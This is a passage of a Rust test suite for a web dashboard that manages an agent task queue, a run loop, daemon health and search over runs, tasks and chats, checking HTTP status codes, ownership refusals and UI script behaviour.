13113 "{}",
13114 res.body
13115 );
13116 assert_eq!(
13117 queue.get(&task.id).expect("reload").instruction,
13118 "do not touch",
13119 "the refused edit must not change the file"
13120 );
13121 }
13122
13123 #[tokio::test]
13124 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
13125 let f = Fixture::start().await;
13126 let queue = f.queue();
13127 let mut task = Task::new(
13128 "busy".to_owned(),
13129 "Running right now".to_owned(),
13130 PathBuf::from("/repo/magi"),
13131 Source::Human,
13132 );
13133 queue.put(&mut task).expect("file the task");
13134 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13135
13136 let priority = f
13137 .post(
13138 &format!("/api/queue/{}/priority", task.id),
13139 Some(r#"{"priority":9}"#),
13140 )
13141 .await;
13142 assert_eq!(priority.status, 409, "{}", priority.body);
13143
13144 let edit = f
13145 .post(
13146 &format!("/api/queue/{}/edit", task.id),
13147 Some(r#"{"title":"x","instruction":"y"}"#),
13148 )
13149 .await;
13150 assert_eq!(edit.status, 409, "{}", edit.body);
13151 }
13152
13153 #[tokio::test]
13154 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
13155 let f = Fixture::start().await;
13156 let queue = f.queue();
13157 let mut task = Task::new(
13158 "shipped by hand".to_owned(),
13159 "merged outside the loop".to_owned(),
13160 PathBuf::from("/repo/magi"),
13161 Source::Agent {
13162 run: "20260101-000000-b455".to_owned(),
13163 node: "implement".to_owned(),
13164 },
13165 );
13166 task.runs.push("20260101-000000-b455".to_owned());
13167 task.runs.push("20260101-000000-9af4".to_owned());
13168 queue.put(&mut task).expect("file the task");
13169 let created_at = task.created_at;
13170
13171 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13172 assert_eq!(done.status, 200, "{}", done.body);
13173 assert_eq!(done.json()["status_str"], "done");
13174
13175 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
13176 assert_eq!(
13177 reloaded.runs,
13178 ["20260101-000000-b455", "20260101-000000-9af4"]
13179 );
13180 assert_eq!(
13181 reloaded.source,
13182 Source::Agent {
13183 run: "20260101-000000-b455".to_owned(),
13184 node: "implement".to_owned(),
13185 }
13186 );
13187 assert_eq!(reloaded.created_at, created_at);
13188 }
13189
13190 #[tokio::test]
13191 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
13192 let f = Fixture::start().await;
13197 let queue = f.queue();
13198 let mut task = Task::new(
13199 "landed while held".to_owned(),
13200 "x".to_owned(),
13201 PathBuf::from("/repo/magi"),
13202 Source::Human,
13203 );
13204 task.hold_manual(Some("waiting on 3ed9".to_owned()));
13205 queue.put(&mut task).expect("file the held task");
13206
13207 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13208 assert_eq!(done.status, 200, "{}", done.body);
13209 assert_eq!(done.json()["status_str"], "done");
13210 assert!(
13211 done.json()["hold_reason"].is_null(),
13212 "a done task cannot still be waiting on something: {}",
13213 done.body
13214 );
13215 }
13216
13217 #[tokio::test]
13218 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
13219 let f = Fixture::start().await;
13224 let queue = f.queue();
13225 let runs = f.runs();
13226 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
13227 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
13231
13232 let mut task = Task::new(
13233 "landed by hand".to_owned(),
13234 "x".to_owned(),
13235 PathBuf::from("/repo/magi"),
13236 Source::Human,
13237 );
13238 task.runs.push("20260101-000000-doa1".to_owned());
13239 task.runs.push("20260101-000000-doa2".to_owned());
13240 queue.put(&mut task).expect("file the task");
13241
13242 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13243 assert_eq!(done.status, 200, "{}", done.body);
13244
13245 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
13246 .expect("run still on disk under this fixture's own home");
13247 assert_eq!(
13248 reloaded_run.status,
13249 RunStatus::Superseded,
13250 "closing the task by hand must relabel the earlier blocked attempt exactly \
13251 like the loop's own settle path does"
13252 );
13253 }
13254
13255 #[tokio::test]
13256 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
13257 let f = Fixture::start().await;
13262 let queue = f.queue();
13263 let runs = f.runs();
13264 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
13265 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
13266
13267 let mut task = Task::new(
13268 "closed with nothing actually landed".to_owned(),
13269 "x".to_owned(),
13270 PathBuf::from("/repo/magi"),
13271 Source::Human,
13272 );
13273 task.runs.push("20260101-000000-dob1".to_owned());
13274 task.runs.push("20260101-000000-dob2".to_owned());
13275 queue.put(&mut task).expect("file the task");
13276
13277 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13278 assert_eq!(done.status, 200, "{}", done.body);
13279
13280 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
13281 .expect("run still on disk under this fixture's own home");
13282 assert_eq!(
13283 reloaded_run.status,
13284 RunStatus::Blocked,
13285 "the last recorded attempt never landed, so the earlier one must not be \
13286 relabelled as superseded by it"
13287 );
13288 }
13289
13290 #[tokio::test]
13291 async fn unknown_ids_are_json_not_found_on_both_stores() {
13292 let f = Fixture::start().await;
13293
13294 let run = f.get("/api/runs/nosuchrun").await;
13295 let task = f.post("/api/queue/nosuchtask/hold", None).await;
13296
13297 assert_eq!(run.status, 404);
13298 assert_eq!(task.status, 404);
13299 assert!(
13300 run.json()["error"]
13301 .as_str()
13302 .is_some_and(|e| e.contains("run")),
13303 "the error names what was not found: {}",
13304 run.body
13305 );
13306 assert!(
13307 task.json()["error"]
13308 .as_str()
13309 .is_some_and(|e| e.contains("task")),
13310 "the error names what was not found: {}",
13311 task.body
13312 );
13313 }
13314
13315 #[tokio::test]
13316 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
13317 let f = Fixture::start().await;
13318
13319 let missing = f.get("/api/health").await.json();
13320 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
13321
13322 write_daemon(
13323 f.home.path(),
13324 Timestamp::now() - jiff::SignedDuration::from_secs(60),
13325 );
13326 let stale = f.get("/api/health").await.json();
13327 assert_eq!(
13328 stale["daemon"]["running"], false,
13329 "a minute without a heartbeat is a dead daemon, not a busy one"
13330 );
13331 assert!(
13332 stale["daemon"]["stale_for_secs"]
13333 .as_i64()
13334 .is_some_and(|s| s >= 55),
13335 "staleness is reported so the UI can say how long: {stale}"
13336 );
13337
13338 write_daemon(f.home.path(), Timestamp::now());
13339 let fresh = f.get("/api/health").await.json();
13340 assert_eq!(fresh["daemon"]["running"], true);
13341 assert_eq!(fresh["daemon"]["idle"], false);
13342 assert_eq!(fresh["daemon"]["pid"], 4242);
13343 assert_eq!(fresh["daemon"]["completed"], 7);
13344 assert_eq!(
13345 fresh["daemon"]["current"][0]["task"],
13346 "20260902-140501-aaaa"
13347 );
13348 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
13349 }
13350
13351 #[tokio::test]
13352 async fn the_loop_is_not_running_until_something_starts_it() {
13353 let f = Fixture::start().await;
13354
13355 let view = f.get("/api/loop").await.json();
13356 assert_eq!(view["running"], false);
13357 assert_eq!(
13358 view["owned"], false,
13359 "nobody owns a loop that does not exist: {view}"
13360 );
13361 assert_eq!(view["stopping"], false);
13362 assert_eq!(view["last_error"], Value::Null);
13363 assert_eq!(view["daemon"]["running"], false);
13364 assert_eq!(
13365 view["repo"], "/repo/magi",
13366 "the repository a start would use, named before it is started"
13367 );
13368 }
13369
13370 #[tokio::test]
13371 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
13372 let f = Fixture::start().await;
13373
13374 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13375 assert_eq!(res.status, 200, "{}", res.body);
13376 let view = res.json();
13377 assert_eq!(view["running"], true);
13378 assert_eq!(
13379 view["owned"], true,
13380 "the loop the UI started is the UI's own to stop: {view}"
13381 );
13382 assert_eq!(
13383 view["merge"],
13384 Value::Null,
13385 "no override was given, so each repository's own config decides"
13386 );
13387
13388 let health = f.get("/api/health").await.json();
13392 assert_eq!(health["loop"]["running"], true, "{health}");
13393 assert_eq!(health["loop"]["owned"], true, "{health}");
13394
13395 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13396 }
13397
13398 #[tokio::test]
13399 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
13400 let f = Fixture::start().await;
13401 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13402 assert_eq!(first.status, 200, "{}", first.body);
13403
13404 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13405 assert_eq!(
13406 again.status, 409,
13407 "two loops on one queue race for the same claims: {}",
13408 again.body
13409 );
13410 assert!(
13411 again.json()["error"]
13412 .as_str()
13413 .is_some_and(|e| e.contains("already running the loop")),
13414 "the refusal has to say why: {}",
13415 again.body
13416 );
13417 assert_eq!(
13418 f.get("/api/loop").await.json()["running"],
13419 true,
13420 "and the loop that was already running is untouched by it"
13421 );
13422
13423 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13424 }
13425
13426 #[tokio::test]
13427 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
13428 let f = Fixture::start().await;
13429 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13430
13431 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13432 assert_eq!(
13433 res.status, 200,
13434 "the answer must not wait for the loop: a run in flight is tens of \
13435 minutes and the operator is holding a phone: {}",
13436 res.body
13437 );
13438
13439 let view = settled(&f, |v| v["running"] == false).await;
13440 assert_eq!(view["owned"], false);
13441 assert_eq!(
13442 view["stopping"], false,
13443 "a loop that has stopped is not still stopping: {view}"
13444 );
13445 assert_eq!(
13446 view["last_error"],
13447 Value::Null,
13448 "a loop that was asked to stop did not fail: {view}"
13449 );
13450
13451 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13454 assert_eq!(twice.status, 200, "{}", twice.body);
13455 }
13456
13457 #[tokio::test]
13458 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
13459 let f = Fixture::start().await;
13460 write_daemon(f.home.path(), Timestamp::now());
13463
13464 let view = f.get("/api/loop").await.json();
13465 assert_eq!(view["running"], false, "not in this process: {view}");
13466 assert_eq!(view["owned"], false, "and not this process's to control");
13467 assert_eq!(
13468 view["daemon"]["running"], true,
13469 "but a loop is alive somewhere, which is what the UI must say"
13470 );
13471 assert_eq!(view["daemon"]["pid"], 4242);
13472
13473 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
13474 let res = f.post("/api/loop", Some(body)).await;
13475 assert_eq!(
13476 res.status, 409,
13477 "neither button may pretend to work on someone else's loop: {}",
13478 res.body
13479 );
13480 assert!(
13481 res.json()["error"]
13482 .as_str()
13483 .is_some_and(|e| e.contains("4242")),
13484 "the refusal has to name the process the operator must go to: {}",
13485 res.body
13486 );
13487 }
13488 assert_eq!(
13489 f.get("/api/loop").await.json()["running"],
13490 false,
13491 "and the refusal started nothing"
13492 );
13493 }
13494
13495 #[tokio::test]
13496 async fn a_stale_status_file_is_not_a_foreign_owner() {
13497 let f = Fixture::start().await;
13498 write_daemon(
13499 f.home.path(),
13500 Timestamp::now() - jiff::SignedDuration::from_secs(60),
13501 );
13502
13503 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13504 assert_eq!(
13505 res.status, 200,
13506 "a daemon killed a minute ago must not lock the loop out of its \
13507 own home for good: {}",
13508 res.body
13509 );
13510 assert_eq!(res.json()["running"], true);
13511
13512 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13513 }
13514
13515 #[tokio::test]
13516 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
13517 let f = Fixture::start().await;
13518 let before = f.get("/api/health").await.json()["loop_rev"]
13519 .as_u64()
13520 .expect("a loop revision");
13521
13522 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13523
13524 let after = f.get("/api/health").await.json()["loop_rev"]
13525 .as_u64()
13526 .expect("a loop revision");
13527 assert!(
13528 after > before,
13529 "the loop is in-process state, so this counter is the only thing \
13530 that tells a second device the first one started it: {before} -> \
13531 {after}"
13532 );
13533
13534 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13535 }
13536
13537 #[tokio::test]
13538 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
13539 let f = Fixture::with_loop(launch_broken).await;
13540
13541 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13542 assert_eq!(
13543 res.status, 200,
13544 "starting it is not the failure: {}",
13545 res.body
13546 );
13547
13548 let view = settled(&f, |v| v["last_error"].is_string()).await;
13549 assert_eq!(
13550 view["running"], false,
13551 "a loop that died must not read as running, or the operator has \
13552 nothing to press: {view}"
13553 );
13554 assert_eq!(view["owned"], false);
13555 assert!(
13556 view["last_error"]
13557 .as_str()
13558 .is_some_and(|e| e.contains("read-only file system")),
13559 "the phone is where a loop that died at 3am is visible: {view}"
13560 );
13561
13562 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13565 assert_eq!(again.status, 200, "{}", again.body);
13566 assert!(
13567 again.json()["last_error"]
13568 .as_str()
13569 .is_none_or(|e| !e.contains("read-only file system")),
13570 "a fresh start does not keep showing why the last one died: {}",
13571 again.body
13572 );
13573 }
13574
13575 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
13587 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
13588 let home = TempDir::new().expect("temp home");
13589 let runs = home.path().join("runs");
13590 std::fs::create_dir_all(&runs).expect("runs dir");
13591 let ui = Ui::new(
13592 Queue::at(home.path().join("queue")),
13593 Questions::at(home.path().join("questions")),
13594 Talks::at(home.path().join("talks")),
13595 runs,
13596 home.path().to_path_buf(),
13597 PathBuf::from("/repo/magi"),
13598 )
13599 .with_worktrees_root(home.path().join("wt"))
13600 .with_launch(launch_knocking_on_the_way_out);
13601 let looping = ui.looping();
13602 let turns = ui.turns();
13603 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13604 .await
13605 .expect("bind loopback");
13606 let addr = listener.local_addr().expect("local addr");
13607 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
13608 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13609
13610 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
13611 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
13612
13613 let bound = std::sync::Mutex::new(None);
13628 hand_over(
13629 home.path(),
13630 &looping,
13631 &turns,
13632 &|_: &[String]| Duration::from_secs(5),
13633 served,
13634 |_| {
13635 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
13636 let attempt = loop {
13637 match std::net::TcpListener::bind(addr) {
13638 Ok(l) => {
13639 drop(l);
13640 break Ok(());
13641 }
13642 Err(e)
13643 if e.kind() == std::io::ErrorKind::AddrInUse
13644 && std::time::Instant::now() < deadline =>
13645 {
13646 std::thread::sleep(std::time::Duration::from_millis(10));
13647 }
13648 Err(e) => break Err(e.to_string()),
13649 }
13650 };
13651 *bound.lock().expect("bound") = Some(attempt);
13652 Ok(1)
13653 },
13654 )
13655 .await
13656 .expect("hand over");
13657
13658 assert_eq!(
13659 *PARK_HEARD.lock().expect("park heard"),
13660 Some(200),
13661 "the deck must answer while the loop is parking"
13662 );
13663 let attempt = bound
13664 .lock()
13665 .expect("bound")
13666 .take()
13667 .expect("the successor was started");
13668 assert!(
13669 attempt.is_ok(),
13670 "and the address must be free by the time it is: {attempt:?}"
13671 );
13672 }
13673
13674 #[tokio::test]
13675 async fn a_newer_daemon_status_file_still_renders() {
13676 let f = Fixture::start().await;
13677 std::fs::write(
13680 f.home.path().join("daemon.json"),
13681 serde_json::json!({
13682 "schema": 2,
13683 "updated_at": Timestamp::now().to_string(),
13684 "idle": true,
13685 "surprise": { "nested": [1, 2, 3] },
13686 })
13687 .to_string(),
13688 )
13689 .expect("write daemon.json");
13690
13691 let health = f.get("/api/health").await;
13692
13693 assert_eq!(health.status, 200);
13694 assert_eq!(health.json()["daemon"]["running"], true);
13695 }
13696
13697 #[tokio::test]
13698 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
13699 let f = Fixture::start().await;
13700 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13701 let broken = f.runs().join("20260902-140502-bad");
13702 std::fs::create_dir_all(&broken).expect("run dir");
13703 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13704
13705 let list = f.get("/api/runs").await;
13706 let detail = f.get("/api/runs/20260902-140502-bad").await;
13707
13708 assert_eq!(list.status, 200);
13709 let listed = list.json();
13710 let ids: Vec<&str> = listed
13711 .as_array()
13712 .expect("an array")
13713 .iter()
13714 .map(|r| r["id"].as_str().expect("an id"))
13715 .collect();
13716 assert_eq!(
13717 ids,
13718 vec!["20260902-140501-good"],
13719 "one unreadable run must not cost the operator the whole history"
13720 );
13721 assert_eq!(detail.status, 500);
13722 assert!(
13723 detail.json()["error"]
13724 .as_str()
13725 .is_some_and(|e| e.contains("run.json")),
13726 "the failure names the file to look at: {}",
13727 detail.body
13728 );
13729 let health = f.get("/api/health").await;
13733 assert_eq!(health.json()["runs_unreadable"], 1);
13734 }
13735
13736 #[tokio::test]
13738 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13739 let f = Fixture::start().await;
13740 let runs = f.runs();
13741 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13742 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13743 let path = runs.join("20260902-140502-bbbb").join("run.json");
13746 let mut v: serde_json::Value =
13747 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13748 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13749 std::fs::write(&path, v.to_string()).unwrap();
13750 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13751 std::fs::write(
13752 runs.join("20260902-140503-cccc").join("run.json"),
13753 "{ not json",
13754 )
13755 .unwrap();
13756
13757 let res = f.get("/api/search?scope=runs&q=quokka").await;
13758 assert_eq!(res.status, 200, "{}", res.body);
13759 let v = res.json();
13760 assert_eq!(v["total"], 1, "{v}");
13761 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13762 assert_eq!(v["hits"][0]["field"], "text");
13763 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13764 let parts = v["hits"][0]["snippet"].as_array().unwrap();
13765 assert!(
13766 parts
13767 .iter()
13768 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13769 "{v}"
13770 );
13771 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13772 assert_eq!(
13773 flat, "The Quokka leaks across threads",
13774 "whitespace is collapsed"
13775 );
13776
13777 let both = f
13779 .get("/api/search?scope=runs&q=MOBILE%20quokka")
13780 .await
13781 .json();
13782 assert_eq!(both["total"], 1, "{both}");
13783 let neither = f
13784 .get("/api/search?scope=runs&q=quokka%20zebra")
13785 .await
13786 .json();
13787 assert_eq!(neither["total"], 0, "{neither}");
13788 let stmt = f
13790 .get("/api/search?scope=runs&q=mobile%20first")
13791 .await
13792 .json();
13793 assert_eq!(stmt["total"], 2, "{stmt}");
13794 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13795 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13796 }
13797
13798 #[test]
13799 fn snippet_ignores_terms_longer_than_the_field() {
13800 let terms = ["ok".to_owned(), "elephant".to_owned()];
13801 let parts = snippet_of("ok", &terms);
13802 assert_eq!(
13803 parts,
13804 vec![SnippetPart {
13805 text: "ok".to_owned(),
13806 hit: true
13807 }]
13808 );
13809 }
13810
13811 #[test]
13812 fn snippet_marks_matches_longer_than_the_window() {
13813 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
13814 let hit_len = |parts: &[SnippetPart]| -> usize {
13815 parts
13816 .iter()
13817 .filter(|p| p.hit)
13818 .map(|p| p.text.chars().count())
13819 .sum()
13820 };
13821 let total =
13822 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
13823
13824 let long = "a".repeat(120);
13825 let parts = snippet_of(&long, std::slice::from_ref(&long));
13826 assert!(hit_len(&parts) > 0, "{parts:?}");
13827 assert!(total(&parts) <= cap);
13828
13829 let ja = "あ".repeat(130);
13830 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
13831 assert!(hit_len(&parts) > 0, "{parts:?}");
13832 assert!(total(&parts) <= cap);
13833
13834 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
13836 let term = format!("ab{}", "c".repeat(100));
13837 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
13838 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
13839 assert!(total(&parts) <= cap);
13840
13841 let text = format!("{}z", "a".repeat(119));
13843 let parts = snippet_of(&text, &["a".repeat(120)]);
13844 assert_eq!(hit_len(&parts), 0, "{parts:?}");
13845 }
13846
13847 #[tokio::test]
13848 async fn search_caps_hits_and_snippet_length() {
13849 let f = Fixture::start().await;
13850 let runs = f.runs();
13851 for n in 0..(SEARCH_MAX_HITS + 5) {
13852 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
13853 }
13854 let v = f.get("/api/search?scope=runs&q=web").await.json();
13855 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
13856 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
13857 assert_eq!(v["truncated"], true);
13858 assert!(
13860 v["hits"]
13861 .as_array()
13862 .unwrap()
13863 .iter()
13864 .all(|h| h["run"]["status"] == "merged")
13865 );
13866
13867 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
13868 let parts = snippet_of(&long, &["needle".to_owned()]);
13869 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
13870 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
13871 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
13872 }
13873
13874 #[tokio::test]
13875 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
13876 let f = Fixture::start().await;
13877 let queue = f.queue();
13878 let mut t = Task::new(
13879 "short title".to_owned(),
13880 "line one\nthe hidden Armadillo detail".to_owned(),
13881 PathBuf::from("/repo/magi"),
13882 Source::Agent {
13883 run: "r1".to_owned(),
13884 node: "chat".to_owned(),
13885 },
13886 );
13887 t.last_error = Some("disk full on /tmp".to_owned());
13888 queue.put(&mut t).expect("file the task");
13889
13890 for (q, want) in [
13891 ("armadillo", 1),
13892 ("disk%20FULL", 1),
13893 ("chat", 1),
13894 ("queued", 1),
13895 ("short%20nothing", 0),
13896 ] {
13897 let v = f
13898 .get(&format!("/api/search?scope=tasks&q={q}"))
13899 .await
13900 .json();
13901 assert_eq!(v["total"], want, "{q}: {v}");
13902 }
13903 for bad in [
13904 "/api/search?scope=tasks&q=",
13905 "/api/search?scope=tasks&q=%20",
13906 "/api/search?scope=chats&q=",
13907 "/api/search?scope=chats&q=%20",
13908 "/api/search?scope=nope&q=a",
13909 "/api/search?q=a",
13910 ] {
13911 assert_eq!(f.get(bad).await.status, 400, "{bad}");
13912 }
13913 }
13914
13915 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
13917 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
13918 .expect("seat value");
13919 let turns: Vec<serde_json::Value> = turns
13920 .iter()
13921 .map(|(who, body)| {
13922 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
13923 })
13924 .collect();
13925 let doc = serde_json::json!({
13926 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
13927 "status": status, "turns": turns,
13928 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
13929 "seat": seat,
13930 });
13931 let dir = f.home.path().join("talks");
13932 std::fs::create_dir_all(&dir).expect("talks dir");
13933 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
13934 }
13935
13936 #[tokio::test]
13937 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
13938 let f = Fixture::start().await;
13939 write_talk(
13940 &f,
13941 "20260901-000001-aaaa",
13942 "open",
13943 &[
13944 (
13945 "operator",
13946 "\n Why does the Pangolin cache expire?\nsecond line",
13947 ),
13948 ("agent", "Because the TTL is thirty seconds."),
13949 ],
13950 );
13951 write_talk(
13952 &f,
13953 "20260901-000002-bbbb",
13954 "closed",
13955 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
13956 );
13957 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
13958
13959 let search = |q: &'static str| {
13960 let f = &f;
13961 async move {
13962 f.get(&format!("/api/search?scope=chats&q={q}"))
13963 .await
13964 .json()
13965 }
13966 };
13967
13968 let v = search("PANGOLIN").await;
13969 assert_eq!(v["scope"], "chats");
13970 assert_eq!(v["total"], 1, "{v}");
13971 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
13972 assert_eq!(v["hits"][0]["field"], "title");
13973 assert_eq!(v["unreadable"], 1, "{v}");
13974 let marked: Vec<&str> = v["hits"][0]["snippet"]
13975 .as_array()
13976 .unwrap()
13977 .iter()
13978 .filter(|p| p["hit"] == true)
13979 .map(|p| p["text"].as_str().unwrap())
13980 .collect();
13981 assert_eq!(marked, ["Pangolin"]);
13982
13983 let v = search("zebra").await;
13985 assert_eq!(v["total"], 1, "{v}");
13986 assert_eq!(v["hits"][0]["field"], "agent");
13987 assert_eq!(search("pangolin%20thirty").await["total"], 1);
13989 assert_eq!(search("pangolin%20zebra").await["total"], 0);
13990 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
13992 assert_eq!(search(q).await["total"], 0, "{q}");
13993 }
13994 assert_eq!(search("second").await["hits"][0]["field"], "operator");
13996 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
13998
13999 let v = f.get("/api/search?scope=nope&q=a").await;
14000 assert_eq!(v.status, 400);
14001 assert!(
14002 v.body.contains("scope must be runs, tasks or chats"),
14003 "{}",
14004 v.body
14005 );
14006 }
14007
14008 #[test]
14009 fn a_question_card_links_a_task_id_to_the_task_page() {
14010 let start = APP_JS
14011 .find("function updateAskCard(")
14012 .expect("updateAskCard exists");
14013 let body = &APP_JS[start..];
14014 let body = &body[..body.find("\n}\n").expect("function end")];
14015 assert!(body.contains("question.run_is_task"));
14016 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
14017 assert!(body.contains("`#/runs/${question.run}`"));
14018 assert!(body.contains("\"task\" : \"run\""));
14019 }
14020
14021 #[test]
14022 fn plain_text_message_surfaces_go_through_linkify() {
14023 assert!(APP_JS.contains("function linkify("));
14024 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
14025 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
14026 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
14027 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
14028 assert!(!APP_JS.contains("innerHTML = text"));
14029 }
14030
14031 #[test]
14032 fn implementation_rate_views_keep_independent_samples() {
14033 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
14034 let a = stats::AgentStats {
14035 competitive_entered: competitive_n,
14036 competitive_wins: usize::from(competitive_n > 0),
14037 solo_entered: solo_n,
14038 solo_adopted: 2 * usize::from(solo_n > 0),
14039 ..Default::default()
14040 };
14041 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
14042 for (key, n, numerator) in [
14043 ("competitive_win_rate", competitive_n, a.competitive_wins),
14044 ("solo_adoption_rate", solo_n, a.solo_adopted),
14045 ] {
14046 if n == 0 {
14047 assert!(v[key].is_null());
14048 } else {
14049 assert_eq!(v[key]["denominator"], n);
14050 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
14051 }
14052 }
14053 }
14054 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
14055 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
14056 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
14057 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
14058 }
14059
14060 #[test]
14061 fn stats_bars_share_one_id_keyed_plan() {
14062 let start = APP_JS
14063 .find("function statsBarRows(")
14064 .expect("statsBarRows exists");
14065 let body = &APP_JS[start..];
14066 let body = &body[..body.find("\n}\n").expect("function end")];
14067 assert!(body.contains("statsBarPlan(rows)"));
14068 assert!(body.contains("statsAgentTone(row.agent)"));
14069 assert!(!body.contains("candTone(i)"));
14070 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
14071 for root in [
14072 "stats-agents-bars",
14073 "stats-solo-bars",
14074 "stats-reviewers-bars",
14075 ] {
14076 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
14077 }
14078 }
14079
14080 #[test]
14081 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
14082 let start = APP_JS
14083 .find("function renderStatsReviewerScatter(")
14084 .expect("renderStatsReviewerScatter exists");
14085 let body = &APP_JS[start..];
14086 let body = &body[..body.find("\n}\n").expect("function end")];
14087 assert!(body.contains("statsScatterPlan(reviewers)"));
14088 assert!(body.contains("statsAgentTone(d.agent)"));
14089 assert!(APP_JS.contains("function statsScatterPlan("));
14090 assert!(
14091 APP_JS.contains("d.submitted < STATS_LOW_N")
14092 || APP_JS.contains("r.submitted < STATS_LOW_N")
14093 );
